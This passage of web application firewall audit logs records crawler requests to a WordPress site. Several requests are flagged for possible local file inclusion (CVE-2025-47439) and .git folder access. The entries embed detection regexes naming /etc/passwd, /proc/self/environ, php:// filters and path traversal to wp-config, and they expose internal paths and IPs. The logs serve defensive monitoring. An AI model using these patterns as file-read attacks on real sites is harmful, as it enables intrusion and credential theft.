\"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":250,"p2":4367,"p3":0,"p4":0,"p5":290,"sr":130,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:13:12.199290 +0100","transaction_id":"abNWl6NDElJSaUY9M9GXjgAAANY","remote_address":"57.141.20.58","remote_port":48666,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/c6/cb3a0eae1f507c3e692173095590593132637b HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.58","X-Forwarded-Proto":"https","X-Request-Id":"17460a511fb94e206846a6fecf0bed67","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30381679"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"17460a511fb94e206846a6fecf0bed67","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/c6/cb3a0eae1f507c3e692173095590593132637b||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":194,"p2":3685,"p3":0,"p4":0,"p5":240,"sr":96,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:13:14.351821 +0100","transaction_id":"abNWmn6c0W8rkQnlo8I0fwAAAco","remote_address":"57.141.20.24","remote_port":53086,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/sr/LC_MESSAGES/awffull.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.24","X-Forwarded-Proto":"https","X-Request-Id":"dc4af1891d853b519c6e5dd246a041f3","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"1895553"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"dc4af1891d853b519c6e5dd246a041f3","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/sr/LC_MESSAGES/awffull.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":184,"p2":3830,"p3":0,"p4":0,"p5":319,"sr":98,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:14:01.169036 +0100","transaction_id":"abNWyAhXxndD9xDx47xAIwAAAFM","remote_address":"65.109.118.212","remote_port":36136,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"41193aba976099451aaccb21f098d614","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31392250","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"41193aba976099451aaccb21f098d614","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":246,"p2":4446,"p3":0,"p4":0,"p5":280,"sr":131,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:16:13.772140 +0100","transaction_id":"abNXTX6c0W8rkQnlo8I3WwAAAc0","remote_address":"65.109.118.212","remote_port":34632,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"4906f9aacee0bf0bad17e26b59c03438","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31752379","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"4906f9aacee0bf0bad17e26b59c03438","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":242,"p2":5275,"p3":0,"p4":0,"p5":295,"sr":155,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:17:16.116717 +0100","transaction_id":"abNXi36c0W8rkQnlo8I4KgAAAc4","remote_address":"57.141.20.22","remote_port":40496,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/loco-translate/loco-translate.2.6.6.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.22","X-Forwarded-Proto":"https","X-Request-Id":"60cead1aec46225a155f7827ab6e3517","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27237868"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"60cead1aec46225a155f7827ab6e3517","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/loco-translate/loco-translate.2.6.6.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":273,"p2":4487,"p3":0,"p4":0,"p5":349,"sr":108,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:18:43.116301 +0100","transaction_id":"abNX4n6c0W8rkQnlo8I41wAAAco","remote_address":"65.109.118.212","remote_port":33674,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"f36c8ded9127e8447d5f7f6c7dabd100","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"18561424","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"f36c8ded9127e8447d5f7f6c7dabd100","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":301,"p2":5169,"p3":0,"p4":0,"p5":325,"sr":155,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:19:40.779439 +0100","transaction_id":"abNYHFWNXJO_mmQISINBAQAAAUY","remote_address":"57.141.20.24","remote_port":43848,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/31/0aeca10155271b0d116b976d05d8b529b8d649 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.24","X-Forwarded-Proto":"https","X-Request-Id":"adae40e5cac504d3e1f80104fc90b8e2","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30805398"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"adae40e5cac504d3e1f80104fc90b8e2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/31/0aeca10155271b0d116b976d05d8b529b8d649||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":192,"p2":5431,"p3":0,"p4":0,"p5":369,"sr":121,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:19:57.205923 +0100","transaction_id":"abNYLH6c0W8rkQnlo8I5UAAAAcA","remote_address":"57.141.20.19","remote_port":41066,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ed/dd2354699e6b47ffcd87c86384bd611419df1f HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.19","X-Forwarded-Proto":"https","X-Request-Id":"bb96371ac68ddb20a754cac552d23199","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27493478"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"bb96371ac68ddb20a754cac552d23199","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/ed/dd2354699e6b47ffcd87c86384bd611419df1f||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":241,"p2":4976,"p3":0,"p4":0,"p5":439,"sr":119,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:20:07.008165 +0100","transaction_id":"abNYNqNDElJSaUY9M9GcPQAAANU","remote_address":"57.141.20.27","remote_port":41134,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/ro/LC_MESSAGES/findutils.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.27","X-Forwarded-Proto":"https","X-Request-Id":"d9929d8c3b1816c0de900831bc89eba5","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31818154"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d9929d8c3b1816c0de900831bc89eba5","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/ro/LC_MESSAGES/findutils.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":339,"p2":6671,"p3":0,"p4":0,"p5":483,"sr":176,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:20:37.509982 +0100","transaction_id":"abNYVPGYjQkrq8Uo_Ez7UwAAAIk","remote_address":"57.141.20.21","remote_port":44350,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/zoneinfo/America/Manaus HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.21","X-Forwarded-Proto":"https","X-Request-Id":"88ae271b82e5dc18b072af819f9971a4","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30805456"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"88ae271b82e5dc18b072af819f9971a4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/zoneinfo/America/Manaus||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":293,"p2":5932,"p3":0,"p4":0,"p5":366,"sr":178,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:20:45.194063 +0100","transaction_id":"abNYXPGYjQkrq8Uo_Ez7XwAAAJg","remote_address":"65.109.118.212","remote_port":44288,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"65.109.118.212","X-Forwarded-Proto":"http","X-Request-Id":"27455ab0c3afafa9cd6bb36920d458a1","X-L-Admin-Auth":"0","Accept":"text/plain;text/html;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27434162","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Vary":"Accept-Encoding","Content-Encoding":"gzip","X-Orig-Rid":"27455ab0c3afafa9cd6bb36920d458a1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Content-Length":"119","Content-Type":"text/plain; charset=utf-8"}},"audit_data":{"messages":["Match of \"rx ^(?:(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)\\\\/(?:\\\\*|[^!\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[-\\\\]\\\\{\\\\}]+)|\\\\*)(?:[\\\\s\\\\x0b]*;[\\\\s\\\\x0b]*(?:charset[\\\\s\\\\x0b]*=[\\\\s\\\\x0b]*\\\\x22?(?:iso-8859-15?|utf-8|windows-1252)\\\\b\\\\x22?|(?:[^\\\\s\\\\x0b-\\\\x22\\\$\\\$,\\\\/:-\\\\?\\\\[- ...\" against \"REQUEST_HEADERS:Accept\" required. [file \"/usr/share/modsecurity_lws/002_i360_basic.conf\"] [line \"48\"] [id \"77350474\"] [msg \"IM360 WAF: Bad Accept Header||MV:text/plain;text/html;q=0.9,*/*;q=0.8||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":281,"p2":5016,"p3":0,"p4":0,"p5":341,"sr":151,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:20:46.945813 +0100","transaction_id":"abNYXvGByT275eeM2ZkxjAAAAQA","remote_address":"57.141.20.4","remote_port":51018,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/usr/base/usr/lib/locale/gez_ER/LC_TELEPHONE HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"1e6463ac3e12c0029087710a25e8694f","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4768617"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1e6463ac3e12c0029087710a25e8694f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated 